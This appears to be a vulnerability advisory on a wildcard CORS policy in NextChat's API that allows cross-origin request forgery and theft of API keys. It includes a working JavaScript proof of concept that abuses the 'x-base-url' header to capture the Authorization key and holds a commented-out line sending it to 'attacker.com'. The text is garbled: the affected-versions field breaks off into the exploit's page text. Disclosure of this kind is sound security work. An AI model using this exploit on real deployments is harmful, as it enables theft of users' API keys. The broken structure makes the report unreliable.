### Vulnerability Overview **Title:** Permissive CORS Wildcard Policy on All API Endpoints Enabling Cross-Origin Exploitation (CVE Report: Permissive CORS Wildcard Policy on All API Endpoints Enabling Cross-Origin Exploitation) **Severity:** High (CVSS 3.1 Base Score: 8.2) **Description:** NextChat configures its Next.js application to attach maximally permissive CORS response headers to all API endpoints under the `/api/` path. This configuration allows any website on the internet to make cross-origin requests to NextChat API endpoints. Since proxy endpoints allow custom headers (including `x-base-url` and `Authorization`), attackers can exploit this vulnerability to initiate requests to internal network resources or backend API providers through the victim's browser, thereby leaking sensitive information (such as API keys) or executing Cross-Site Request Forgery (CSRF) attacks. ### Scope of Impact * **Affected Product:** NextChat (ChatGPT-Next-Web) * **Affected Versions:** ` NextChat CORS + SSRF PoC NextChat Cross-Origin SSRF Attack Attacking... // Step 1: Probe server configuration cross-origin fetch('http://localhost:3000/api/config') .then(r => r.json()) .then(config => { document.getElementById('output').textContent = 'Server config: ' + JSON.stringify(config, null, 2); // Step 2: Exploit SSRF to steal API key return fetch('http://localhost:3000/api/v1/test', { method: 'GET', headers: { 'x-base-url': 'https://httpbin.org/anything?api.openai.com' } }); }) .then(r => r.json()) .then(data => { const apiKey = data.headers?.Authorization || 'Not found'; document.getElementById('output').textContent += '\n\nStolen API Key: ' + apiKey; // Step 3: Exfiltrate to attacker server // navigator.sendBeacon('https://attacker.com/collect', // JSON.stringify({ key: apiKey })); }) .catch(e => { document.getElementById('output').textContent = 'Error: ' + e; }); ```